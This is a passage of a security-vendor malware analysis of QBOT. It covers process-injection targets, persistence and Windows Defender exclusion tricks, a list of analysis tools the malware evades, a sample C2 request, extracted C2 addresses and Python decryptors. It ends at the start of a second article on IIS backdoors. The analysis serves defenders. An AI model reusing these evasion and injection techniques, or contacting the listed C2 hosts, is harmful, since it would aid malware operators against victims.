<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/4qbot.jpg" alt="Enum of vendors QBOT can detect." /></p>
<p>AV detection will not prevent QBOT from running. However, it will change its behavior in later stages. In order to generate a seed for its pseudorandom number generator (PRNG), QBOT generates a fingerprint of the computer by using the following expression:</p>
<pre><code>**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**
</code></pre>
<p>If the <strong>“C:”</strong> volume doesn’t exist the expression below is used instead:</p>
<pre><code>**fingerprint = CRC32(computerName + AccountName)**
</code></pre>
<p>Finally, QBOT will choose a set of targets to inject into depending on the AVs previously detected and the machine architecture:</p>
<p>|                            |                                                                                                               |
| -------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------ |
| AV detected &amp; architecture | Targets                                                                                                       |
| BitDefender                | Kaspersky                                                                                                     | Sophos                 | TrendMicro                                                                                                                    | &amp; x86                                                                                                        | %SystemRoot%\SysWOW64\mobsync.exe %SystemRoot%\SysWOW64\explorer.exe |
| BitDefender                | Kaspersky                                                                                                     | Sophos                 | TrendMicro &amp; x64                                                                                                              | %SystemRoot%\System32\mobsync.exe%SystemRoot%\explorer.exe%ProgramFiles%\Internet Explorer\iexplore.exe |
| Avast                      | AVG                                                                                                           | Windows Defender &amp; x86 | %SystemRoot%\SysWOW64\OneDriveSetup.exe%SystemRoot%\SysWOW64\msra.exe%ProgramFiles(x86)%\Internet Explorer\iexplore.exe |
| Avast                      | AVG                                                                                                           | Windows Defender &amp; x64 | %SystemRoot%\System32\OneDriveSetup.exe%SystemRoot%\System32\msra.exe                                                     |
| x86                        | '%SystemRoot%\explorer.exe%SystemRoot%\System32\msra.exe%SystemRoot%\System32\OneDriveSetup.exe          |
| x64                        | %SystemRoot%\SysWOW64\explorer.exe%SystemRoot%\SysWOW64\msra.exe%SystemRoot%\System32\OneDriveSetup.exe |</p>
<p>QBOT will try to inject itself iteratively, using its second stage as an entry point, into one of its targets– choosing the next target process if the injection fails. Below is an example of QBOT injecting into <strong>explorer.exe</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/7qbot.png" alt="QBOT injecting itself into explorer.exe" /></p>
<h3>Stage 2</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/8qbot.png" alt="Second stage execution flow" /></p>
<p>QBOT begins its second stage by saving the content of its binary in memory and then corrupting the file on disk:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/0.jpg" alt="QBOT corrupting its binary file" /></p>
<p>The malware then loads its configuration from one of its resource sections:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/10qbot.jpg" alt="QBOT loading its configuration from resource" /></p>
<p>QBOT also has the capability to load its configuration from a <strong>.cfg</strong> file if available in the process root directory:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/1.jpg" alt="QBOT trying to load its configuration from a file" /></p>
<p>After loading its configuration, QBOT proceeds to install itself on the machine– initially by writing its internal configuration to the registry:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/2.jpg" alt="QBOT writing its configuration to the registry" /></p>
<p>Shortly after, QBOT creates a persistence subdirectory with a randomly-generated name under the <strong>%APPDATA%\Microsoft</strong> directory. This folder is used to drop the in-memory QBOT binary for persistence across reboot:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/3.jpg" alt="QBOT creating its persistence folder" /></p>
<p>At this point, the folder will be empty because the malware will only drop the binary if a shutdown/reboot event is detected. This “contingency” binary will be deleted after reboot.</p>
<p>QBOT will attempt the same install process for all users and try to either execute the malware within the user session if it exists, or create a value under the <strong>CurrentVersion\Run</strong> registry key for the targeted user to launch the malware at the next login. Our analysis didn’t manage to reproduce this behavior on an updated Windows 10 machine. The only artifact observed is the randomly generated persistence folder created under the user <strong>%APPDATA%\Microsoft</strong> directory:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/4qbot.jpg" alt="Persistence folder is empty when QBOT is running" /></p>
<p>QBOT finishes its second stage by restoring the content of its corrupted binary and registering a task via <strong>Schtask</strong> to launch a QBOT service under the <strong>NT AUTHORITY\SYSTEM</strong> account.</p>
<p>The first stage has a special execution path where it registers a service handler if the process is running under the <strong>SYSTEM</strong> account. The QBOT service then executes stages 2 and 3 as normal, corrupting the binary yet again and executing commands on behalf of other QBOT processes via messages received through a randomly generated named pipe:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/15qbot.png" alt="QBOT running as SYSTEM service" /></p>
<h3>Stage 3</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/16qbot.png" alt="Third stage execution flow" /></p>
<p>QBOT begins its third stage by registering a window and console event handler to monitor suspend/resume and shutdown/reboot events. Monitoring these events enables the malware to install persistence dynamically by dropping a copy of the QBOT binary in the persistence folder and creating a value under the <strong>CurrentVersion\Run</strong> registry key:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/7qbot.png" alt="QBOT install persistence when suspend/resume or shutdown/reboot event occurs" /></p>
<p>At reboot, QBOT will take care of deleting any persistence artifacts.</p>
<p>The malware will proceed to creating a watchdog thread to monitor running processes against a hardcoded list of binaries every second. If any process matches, a registry value is set that will then change QBOT behavior to use randomly generated IP addresses instead of the real one, thus never reaching its command and control:</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>frida-winjector-helper-32.exefrida-winjector-helper-64.exeTcpdump.exewindump.exeethereal.exewireshark.exeettercap.exertsniff.exepacketcapture.execapturenet.exeqak_proxy</td>
<td>dumpcap.exeCFF Explorer.exenot_rundll32.exeProcessHacker.exetcpview.exefilemon.exeprocmon.exeidaq64.exePETools.exeImportREC.exeLordPE.exe</td>
<td>SysInspector.exeproc_analyzer.exesysAnalyzer.exesniff_hit.exejoeboxcontrol.exejoeboxserver.exeResourceHacker.exex64dbg.exeFiddler.exesniff_hit.exesysAnalyzer.exe</td>
</tr>
</tbody>
</table>
<p>QBOT will then load its domains from one of its <strong>.rsrc</strong> files and from the registry as every domain update received from its C2 will be part of its configuration written to the registry. See Extracted Network Infrastructure in Appendix A.</p>
<p>Finally, the malware starts communicating with C2 via HTTP and TLS. The underlying protocol uses a JSON object encapsulated within an enciphered message which is then base64-encoded:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/8qbot.png" alt="QBOT message format" /></p>
<p>Below an example of a HTTP POST request sent by QBOT to its C2:</p>
<pre><code>Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 181.118.183.98
Content-Length: 77
Cache-Control: no-cache

qxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==
</code></pre>
<p>Through this communication channel, QBOT receives commands from C2 — see Appendix B (Command Handlers). Aside from management commands (update, configuration knobs), our sample only handles binary execution-related commands, but we know that the malware is modular and can be built with additional features like a VNC server, a reverse shell server, proxy support (to be part of the domains list), and numerous other capabilities are feasible.</p>
<h2>Features</h2>
<h3>Mersenne Twister Random Number Generator</h3>
<p>QBOT uses an implementation of <a href="https://www.sciencedirect.com/topics/computer-science/mersenne-twister">Mersenne Twister Random Number Generator</a> (MTRNG) to generate random values:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/19qbot.jpg" alt="QBOT's Mersenne Twister Random Number Generator implementation" /></p>
<p>The MTRNG engine is then used by various functions to generate different types of data, for example for generating registry key values and persistence folders. As QBOT needs to reproduce values, it will almost always use the computer fingerprint and a “salt” specific to the value it wants to generate:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/20qbot.jpg" alt="QBOT generating random event name with fixed seed and salt" /></p>
<h3>String obfuscation</h3>
<p>All QBOT strings are XOR-encrypted and concatenated in a single blob we call a “string bank”. To get a specific string the malware needs a string identifier (identifier being an offset in the string bank), a decryption key, and the targeted string bank.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/1qbot.png" alt="GetStringAux function prototype." /></p>
<p>As this sample has two string banks, it has four <strong>GetString</strong>' functions currying the string bank and the decryption key parameters: One C string function and one wide string function for each string bank. Wide string functions use the same string banks, but convert the data to <strong>utf-16</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/2qbot.png" alt="QBOT calling GetString function" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/3qbot.jpg" alt="GetString function currying GetStringAux with string bank and key parameters" /></p>
<p>See Appendix C (String Deciphering Implementation).</p>
<h3>Import obfuscation</h3>
<p>QBOT resolves its imports using a hash table:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/4qbot.jpg" alt="QBOT calling GetApi function" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/25qbot.jpg" alt="GetApi function prototype" /></p>
<p>The malware resolves the library name through its GetString function and then resolves the hash table with a classic library’s exports via manual parsing, comparing each export to the expected hash. In this sample, the hashing comparison algorithm use this formula:</p>
<pre><code>**CRC32(exportName) XOR 0x218fe95b == hash**
</code></pre>
<h3>Resource obfuscation</h3>
<p>The malware is embedded with different resources, the common ones are the configuration and the domains list. Resources are encrypted the same way: The decryption key may be either embedded within the data blob or provided. Once the resource is decrypted, an embedded hash is used to check data validity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/26qbot.jpg" alt="QBOT decrypting its resource with embedded or provided key" /></p>
<p>See Appendix D (Resource Deciphering Implementation).</p>
<h3>Cyrillic keyboard language detection</h3>
<p>At different stages, QBOT will check if the computer uses a Cyrillic language keyboard. If it does, it prevents further execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/7qbot.png" alt="Set of languages QBOT is looking to stop its execution" /></p>
<h3>AVG/AVAST special behavior</h3>
<p>AVG and Avast share the same antivirus engine. Thus if QBOT detects one of those antivirus running, it will also check at the installation stage if one of their DLLs is loaded within the malware memory space. If so, QBOT will skip the installation phase.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/8qbot.png" alt="QBOT checking if AVG/AVAST has hooked its process" /></p>
<h3>Windows Defender special behavior</h3>
<p>If QBOT is running under <strong>SYSTEM</strong> account, it will add its persistence folder to the Windows Defender exclusion path in the registry. It will also do this for the legacy Microsoft Security Essential (MSE) exclusion path if detected.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/29qbot.jpg" alt="QBOT adding its persistence folder to Windows Defender and MSE exclusion paths" /></p>
<h3>Exception list process watchdog</h3>
<p>Each second, QBOT parses running processes looking for one matching the hardcoded exception list. If any is found, a “fuse” value is set in the registry and the watchdog stops. If this fuse value is set, QBOT will not stop execution– but at the third stage, the malware will use randomly generated IP and won't be able to contact C2.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/30qbot.jpg" alt="Watchdog thread setting fuse if any Exceptionlisted process is detected" /></p>
<p>![QBOT using randomly generated IP address if fuse is set]/assets/images/qbot-malware-analysis/1qbot.png)</p>
<h3>QBOT process injection</h3>
<h4>Second stage injection</h4>
<p>To inject its second stage into one of a hardcoded target, QBOT uses a classic <strong>CreateProcess</strong> , <strong>WriteProcessMemory</strong> , <strong>ResumeProcess</strong> DLL injection technique. The malware will create a process, allocate and write the QBOT binary within the process memory, write a copy of its engine, and patch the entry point to jump to a special function. This function performs a light initialization of QBOT and its engine within the new process environment, alerts the main process of its success, and then execute the second stage.</p>
<p>![QBOT second stage injection]/assets/images/qbot-malware-analysis/2qbot.png)</p>
<p>![QBOT injection entry point]/assets/images/qbot-malware-analysis/3qbot.jpg)</p>
<h4>Injecting library from command and control</h4>
<p>QBOT uses the aforementioned method to inject libraries received from C2. The difference is that as well as mapping itself, the malware will also map the received binary and use a library loader as entry point.</p>
<p>![QBOT DLL loader injection]/assets/images/qbot-malware-analysis/4qbot.jpg)</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/35qbot.jpg" alt="QBOT Dll loader entrypoint" /></p>
<h3>Multi-user installation</h3>
<p>Part of the QBOT installation process is installing itself within others users’ accounts. To do so, the malware enumerates each user with an account on the machine (local and domain), then dumps its configuration under the user’s <strong>Software\Microsoft</strong> registry key, creates a persistence folder under the users’ <strong>%APPDATA%\Microsoft</strong> folder, and finally tries to either launch QBOT under the user session if the session exist, or else creates a run key to launch the malware when the user will log in.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/36qbot.jpg" alt="QBOT installation &amp; run for one user" /></p>
<h3>Dynamic persistence</h3>
<p>QBOT registers a window handler to monitor suspend/resume events. When they occur, the malware will install/uninstall persistence.</p>
<p>![QBOT window handler registration]/assets/images/qbot-malware-analysis/7qbot.png)</p>
<p>![QBOT window handler catching suspend/resume event]/assets/images/qbot-malware-analysis/8qbot.png)</p>
<p>QBOT registers a console event to handle shutdown/reboot events as well.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/39qbot.jpg" alt="QBOT registering console handler" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/40qbot.jpg" alt="QBOT console handler catching shutdown/reboot event" /></p>
<h3>Command and control public key pinning</h3>
<p>QBOT has a mechanism to verify the signature of every message received from its command and control. The verification mechanism is based on a public key embedded in the sample. This public key could be used to identify the campaign the sample belongs to, but this mechanism may not always be present.</p>
<p>![QBOT command and control message processing]/assets/images/qbot-malware-analysis/1qbot.png)</p>
<p>![Message signature verification with hardcoded command and control public key]/assets/images/qbot-malware-analysis/2qbot.png)</p>
<p>The public key comes from a hardcoded XOR-encrypted data blob.</p>
<p>![Hardcoded command and control public key being XOR-decrypted]/assets/images/qbot-malware-analysis/3qbot.jpg)</p>
<h3>Computer information gathering</h3>
<p>Part of QBOT communication with its command and control is sending information about the computer. Information are gathered through a set Windows API calls, shell commands and Windows Management Instrumentation (WMI) commands:</p>
<p>![Computer information gathering 1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/45qbot.jpg" alt="Computer information gathering 2/2" /></p>
<p>One especially interesting procedure listed installed antivirus via WMI:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/46qbot.jpg" alt="QBOT listing installed antivirus via a WMI command" /></p>
<h3>Update mechanism</h3>
<p>QBOT can receive updates from its command and control. The new binary will be written to disk, executed through a command line, and the main process will terminate.</p>
<p>![QBOT writing to disk and running the updated binary]/assets/images/qbot-malware-analysis/7qbot.png)</p>
<p>![QBOT stopping execution if update is running]/assets/images/qbot-malware-analysis/8qbot.png)</p>
<h3>Process injection manager</h3>
<p>QBOT has a system to keep track of processes injected with binaries received from its command and control in order to manage them as the malware receives subsequent commands. It also has a way to serialize and save those binaries on disk in case it has to stop execution and recover execution when restarted.</p>
<p>To do this bookkeeping, QBOT maintains two global structures — a list of all binaries received from its command and control, and a list of running injected processes:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/49qbot.jpg" alt="QBOT’s list of DLL to inject received from its command and control." /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/50qbot.jpg" alt="QBOT’s list of running injected processes" /></p>
<h2>Conclusion</h2>
<p>The QBOT malware family is highly active and still part of the threat landscape in 2022 due to its features and its powerful modular system. While initially characterized as an information stealer in 2007, this family has been leveraged as a delivery mechanism for additional malware and post-compromise activity.</p>
<p>Elastic Security provides out-of-the-box prevention capabilities against this threat. Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our <a href="https://www.elastic.co/pt/training/free#quick-starts">Quick Start guides</a> (bite-sized training videos to get you started quickly) or our <a href="https://www.elastic.co/pt/training/free#fundamentals">free fundamentals training courses</a>. You can always get started with a <a href="https://cloud.elastic.co/registration?elektra=whats-new-elastic-security-7-16-blog">free 14-day trial of Elastic Cloud</a>.</p>
<h2>MITRE ATT&amp;CK Tactics and Techniques</h2>
<p>MITRE ATT&amp;CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&amp;CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>Tactic: <a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
<li>Tactic: <a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li>Tactic: <a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li>Tactic: <a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
</ul>
<h3>Techniques / Sub Techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1055">Process Injection</a> (T1055)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1112">Modify Registry</a> (T1112)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a> (T1027)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1027/005">Obfuscated Files or Information: Indicator Removal from Tools</a> (T1027.005)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1218/010">System Binary Proxy Execution: Regsvr32</a> (T1218.010)<br />
Technique: <a href="https://attack.mitre.org/techniques/T1010">Application Window Discovery</a> (T1010)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1083">File and Directory Discovery</a> (T1083)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a> (T1082)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1614">System Location Discovery</a> (T1614)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1518/001">Software Discovery: Security Software Discovery</a> (T1518.001)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1033">System Owner/User Discovery</a> (T1033)</li>
<li>Technique: <a href="https://attack.mitre.org/techniques/T1071/001">Application Layer Protocol: Web Protocols</a> (T1071.001)</li>
</ul>
<h2>Observations</h2>
<p>While not specific enough to be considered indicators of compromise, the following information was observed during analysis that can help when investigating suspicious events.</p>
<h3>File System</h3>
<p><strong>Persistence folder</strong></p>
<pre><code>**%APPDATA%\Microsoft\[Random Folder]**
</code></pre>
<p><strong>Example:</strong></p>
<pre><code>**C:\Users\Arx\AppData\Roaming\Microsoft\Vuhys**
</code></pre>
<h3>Registry</h3>
<p><strong>Scan Exclusion</strong></p>
<pre><code>**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\[Persistence Folder]**
</code></pre>
<p><strong>Example:</strong></p>
<pre><code>**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Arx\AppData\Roaming\Microsoft\Blqgeaf**
</code></pre>
<h3>Configuration</h3>
<p><strong>Configuration</strong></p>
<pre><code>**HKU\[User SID]\Software\Microsoft\[Random Key]\[Random Value 0]**
</code></pre>
<p><strong>Example:</strong></p>
<pre><code>**HKU\S-1-5-21-2844492762-1358964462-3296191067-1000\Software\Microsoft\Silhmfua\28e2a7e8**
</code></pre>
<h2>Appendices</h2>
<h3>Appendix A (extracted network infrastructure)</h3>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1.161.71.109:4431.161.71.109:995100.1.108.246:443101.50.103.193:995102.182.232.3:995103.107.113.120:443103.139.243.207:990103.246.242.202:443103.87.95.133:2222103.88.226.30:443105.226.83.196:995108.60.213.141:443109.12.111.14:443109.228.220.196:443113.11.89.165:995117.248.109.38:21120.150.218.241:995120.61.2.95:443121.74.167.191:995125.168.47.127:2222138.204.24.70:443140.82.49.12:443140.82.63.183:443140.82.63.183:995143.0.34.185:443144.202.2.175:443144.202.2.175:995144.202.3.39:443144.202.3.39:995148.64.96.100:443149.28.238.199:443149.28.238.199:995172.114.160.81:995172.115.177.204:2222173.174.216.62:443173.21.10.71:2222174.69.215.101:443175.145.235.37:443176.205.119.81:2078176.67.56.94:443176.88.238.122:995179.158.105.44:443180.129.102.214:995180.183.128.80:2222181.118.183.98:443181.208.248.227:443181.62.0.59:443182.191.92.203:995182.253.189.74:2222185.69.144.209:443</td>
<td>186.105.121.166:443187.102.135.142:2222187.207.48.194:61202187.250.114.15:443187.251.132.144:22190.252.242.69:443190.73.3.148:2222191.17.223.93:32101191.34.199.129:443191.99.191.28:443196.233.79.3:80197.167.62.14:993197.205.127.234:443197.89.108.252:4432.50.137.197:443201.145.189.252:443201.211.64.196:2222202.134.152.2:2222203.122.46.130:443208.107.221.224:443209.197.176.40:995217.128.122.65:2222217.164.210.192:443217.165.147.83:99324.178.196.158:222224.43.99.75:44331.35.28.29:44331.48.166.122:207832.221.224.140:99537.186.54.254:99537.34.253.233:44338.70.253.226:222239.41.158.185:99539.44.144.159:99539.52.75.201:99539.57.76.82:99540.134.246.185:99541.228.22.180:44341.230.62.211:99341.38.167.179:99541.84.237.10:99542.235.146.7:222245.241.232.25:99545.46.53.140:222245.63.1.12:44345.63.1.12:99545.76.167.26:44345.76.167.26:99545.9.20.200:44346.107.48.202:443</td>
<td>47.156.191.217:44347.180.172.159:44347.180.172.159:5001047.23.89.62:99347.23.89.62:9955.32.41.45:4435.95.58.211:208766.98.42.102:44367.209.195.198:44368.204.7.158:44370.46.220.114:44370.51.138.126:222271.13.93.154:222271.74.12.34:44372.12.115.90:2272.252.201.34:99572.76.94.99:44373.151.236.31:44373.67.152.98:222274.15.2.252:222275.113.214.234:222275.99.168.194:44375.99.168.194:6120176.169.147.192:3210376.25.142.196:44376.69.155.202:222276.70.9.169:222278.87.206.213:99580.11.74.81:222281.215.196.174:44382.152.39.39:44383.110.75.97:222284.241.8.23:3210385.246.82.244:44386.97.11.43:44386.98.208.214:222286.98.33.141:44386.98.33.141:99588.228.250.126:44389.211.181.64:222290.120.65.153:207891.177.173.10:99592.132.172.197:222293.48.80.198:99594.36.195.250:222294.59.138.62:119494.59.138.62:222296.21.251.127:222296.29.208.97:44396.37.113.36:993</td>
</tr>
</tbody>
</table>
<h3>Appendix B (command handlers)</h3>
<table>
<thead>
<tr>
<th>Id</th>
<th>Handler</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1</td>
<td>MARE::rpc::handler::CommunicateWithC2</td>
</tr>
<tr>
<td>0x6</td>
<td>MARE::rpc::handler::EnableGlobalRegistryConfigurationValuek0x14</td>
</tr>
<tr>
<td>0x7</td>
<td>MARE::rpc::handler::DisableGlobalRegistryConfigurationValuek0x14</td>
</tr>
<tr>
<td>0xa</td>
<td>MARE::rpc::handler::KillProcess</td>
</tr>
<tr>
<td>0xc</td>
<td>MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent1</td>
</tr>
<tr>
<td>0xd</td>
<td>MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent0</td>
</tr>
<tr>
<td>0xe</td>
<td>MARE::rpc::handler::DoEvasionMove</td>
</tr>
<tr>
<td>0x12</td>
<td>MARE::rpc::handler::NotImplemented</td>
</tr>
<tr>
<td>0x13</td>
<td>MARE::rpc::handler::UploadAndRunUpdatedQBOT0</td>
</tr>
<tr>
<td>0x14</td>
<td>MARE::rpc::handler::Unk0</td>
</tr>
<tr>
<td>0x15</td>
<td>MARE::rpc::handler::Unk1</td>
</tr>
<tr>
<td>0x19</td>
<td>MARE::rpc::handler::UploadAndExecuteBinary</td>
</tr>
<tr>
<td>0x1A</td>
<td>MARE::rpc::handler::UploadAndInjectDll0</td>
</tr>
<tr>
<td>0x1B</td>
<td>MARE::rpc::handler::DoInjectionFromDllToInjectByStr</td>
</tr>
<tr>
<td>0x1C</td>
<td>MARE::rpc::handler::KillInjectedProcessAndDisableDllToInject</td>
</tr>
<tr>
<td>0x1D</td>
<td>MARE::rpc::handler::Unk3</td>
</tr>
<tr>
<td>0x1E</td>
<td>MARE::rpc::handler::KillInjectedProcessAndDoInjectionAgainByStr</td>
</tr>
<tr>
<td>0x1F</td>
<td>MARE::rpc::handler::FastInjectdll</td>
</tr>
<tr>
<td>0x21</td>
<td>MARE::rpc::handler::ExecuteShellCmd</td>
</tr>
<tr>
<td>0x23</td>
<td>MARE::rpc::handler::UploadAndInjectDll1</td>
</tr>
<tr>
<td>0x24</td>
<td>MARE::rpc::handler::UploadAndRunUpdatedQBOT1</td>
</tr>
<tr>
<td>0x25</td>
<td>MARE::rpc::handler::SetValueToGlobalRegistryConfiguration</td>
</tr>
<tr>
<td>0x26</td>
<td>MARE::rpc::handler::DeleteValueFromGlobalRegistryConfiguration</td>
</tr>
<tr>
<td>0x27</td>
<td>MARE::rpc::handler::ExecutePowershellCmd</td>
</tr>
<tr>
<td>0x28</td>
<td>MARE::rpc::handler::UploadAndRunDllWithRegsvr32</td>
</tr>
<tr>
<td>0x29</td>
<td>MARE::rpc::handler::UploadAndRunDllWithRundll32</td>
</tr>
</tbody>
</table>
<h3>Appendix C (string deciphering implementation)</h3>
<pre><code>def decipher_strings(data: bytes, key: bytes) -&gt; bytes:
   result = dict()
   current_index = 0
   current_string = list()
   for i in range(len(data)):
       current_string.append(data[i] ^ key[i % len(key)])
       if data[i] == key[i % len(key)]:
              result[current_index] = bytes(current_string)
              current_string = list()
              current_index = i + 1
   return result
</code></pre>
<h3>Appendix D (resource deciphering implementation)</h3>
<pre><code>from Crypto.Cipher import ARC4
from Crypto.Hash import SHA1

def decipher_data(data: bytes, key: bytes) -&gt; tuple[bytes, bytes]:
   data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)
   return data[20:], data[:20]


def verify_hash(data: bytes, expected_hash: bytes) -&gt; bool:
   return SHA1.SHA1Hash(data).digest() == expected_hash


def decipher_rsrc(rsrc: bytes, key: bytes) -&gt; bytes:
   deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])
   if not verify_hash(deciphered_rsrc, expected_hash):
       deciphered_rsrc, expected_hash = decipher_data(rsrc, key)
       if not verify_hash(deciphered_rsrc, expected_hash):
              raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')
   return deciphered_rsrc
</code></pre>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/blog-thumb-drill-bit.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Update to the REF2924 intrusion set and related campaigns]]></title>
            <link>https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</link>
            <guid>update-to-the-REF2924-intrusion-set-and-related-campaigns</guid>
            <pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is providing an update to the REF2924 research published in December of 2022. This update includes malware analysis of the implants, additional findings, and associations with other intrusions.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>DOORME is a malicious IIS module that provides remote access to a contested network.</li>
<li>SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.</li>
<li>SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.</li>
<li>REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.</li>
</ul>
<h2>Preamble</h2>
<p>This research highlights the capabilities and observations of the two backdoors, named &quot;DOORME&quot; and &quot;SIESTAGRAPH&quot;, and a backdoor called “SHADOWPAD” that was <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">disclosed by Elastic</a> in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.</p>
<p>DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.</p>
<p>Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.</p>
<blockquote>
<p>Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our <a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">previous research into REF2924</a>.</p>
</blockquote>
<h2>DOORME code analysis</h2>
<h3>Introduction to backdoored IIS modules</h3>
